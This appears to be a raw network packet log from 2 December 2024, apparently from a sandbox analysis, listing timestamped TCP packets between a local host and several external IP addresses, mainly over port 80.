Dec 2, 2024 07:37:55.407866001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.408612013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.408665895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.408730984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.408782005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.409502029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.409554958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.409567118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.409621954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.410407066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.410459042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.410496950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.410558939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.411396980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.411411047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.411449909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.411478996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.412236929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.412269115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.412285089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.412313938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.413122892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.413217068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.413247108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.413288116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.414024115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.414079905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.414097071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.414151907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.414911985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.414966106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.415015936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.415070057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.415811062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.415868998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.415904045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.415946960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.416723013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.416769981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.416795015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.416841030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.417623043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.417686939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.417721987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.417781115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.418505907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.418550014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.418554068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.418603897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.419426918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.419488907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.419523954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.419568062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.420331001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.420418024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.420579910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.420654058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.421422005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.421433926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.421477079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.421516895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.455454111 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.458878994 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.458956003 CET	49830	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.459054947 CET	49830	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.459088087 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.459116936 CET	49830	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.459126949 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.462599039 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.462644100 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.462749958 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.462929010 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.462944031 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.471739054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.558195114 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.561534882 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.561619997 CET	49833	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.561656952 CET	49833	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.561671972 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.561695099 CET	49833	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.561707020 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.565154076 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.565184116 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.565284967 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.565603971 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.565618038 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.586868048 CET	443	49832	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:55.586956978 CET	49832	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:55.590131998 CET	49832	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:55.590145111 CET	443	49832	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:55.590383053 CET	443	49832	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:55.591732025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.592139959 CET	49832	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:55.592200041 CET	49832	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:55.592205048 CET	443	49832	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:55.592566967 CET	49832	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:55.639338970 CET	443	49832	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:55.924679041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.924763918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.924823999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.924850941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.924931049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.924988031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.925059080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.925098896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.925857067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.925903082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.925908089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.925945997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.926743031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.926786900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.926858902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.926923037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.927629948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.927711010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.927726030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.927947044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.928596020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.928642035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.928675890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.928675890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.929435968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.929486990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.929562092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.929637909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.930439949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.930453062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.930500031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.931284904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.931324959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.931365013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.931416035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.932146072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.932200909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.932254076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.932374954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.933051109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.933142900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.933157921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.933178902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.933940887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.934043884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.934046984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.934082031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.934850931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.934948921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.935013056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.935050011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.935775995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.935826063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.935846090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.935894966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.936711073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.936790943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.936794996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.936836958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.937566042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.937634945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.937782049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.937855959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.938478947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.938541889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.938582897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.938771009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.939369917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.939435005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.939479113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.939555883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.940323114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.940361977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.940418005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.940475941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.941201925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.941257000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.941271067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.941303968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.942081928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.942143917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.942167997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.942248106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.942965031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.943080902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.943089008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.943160057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.945106030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.945205927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.947551012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.947618008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.947709084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.947721958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.947887897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.947901011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.947943926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.948031902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.948074102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.948074102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.948210001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.948251963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.948880911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.949007988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.949173927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.949223042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.949461937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.949481964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.949493885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.949506044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.949508905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.949548006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.949548006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.950186968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.950297117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.950297117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.950359106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.951157093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.951212883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.951215029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.951311111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.951984882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.952028990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.952116966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.952936888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.952971935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.953032017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.953835964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.953870058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.953879118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.953880072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.953963041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.954694986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.954775095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.954802036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.954849005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.955600977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.955701113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.955723047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.955795050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.956510067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.956573009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.956612110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.956676006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.957397938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.957461119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.957482100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.957546949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.958308935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.958362103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.958401918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.958445072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.959227085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.959285975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.959336996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.959392071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.960102081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.960163116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.960215092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.960285902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.961015940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.961091042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.961122990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.961182117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.961960077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.962007046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.962007999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.962112904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.962841988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.962884903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.962930918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.962976933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.963721037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.963764906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.963929892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.964005947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.964611053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.964719057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.964729071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.964776993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.965516090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.965565920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.965573072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.965647936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.969755888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.969775915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.969801903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.969830036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.969840050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.969863892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.969863892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.969875097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.969907999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.969907999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.969912052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.969945908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.970679045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.970753908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.970824003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.970880985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.971647024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.971712112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.971831083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.971877098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.972518921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.972531080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.972573042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.973474026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.973546982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.973633051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.973825932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.974311113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.974323034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.974359035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.129616022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.129631996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.129693985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.129730940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.129928112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.129978895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.130059004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.130106926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.131030083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.131043911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.131083012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.131127119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.132003069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.132014990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.132069111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.132069111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.132832050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.132844925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.132922888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.132986069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.132998943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.133034945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.133085012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.133085012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.133124113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.133153915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.133182049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.133872032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.133887053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.133935928 CET	49823	80	192.168.2.6	185.215.113.206
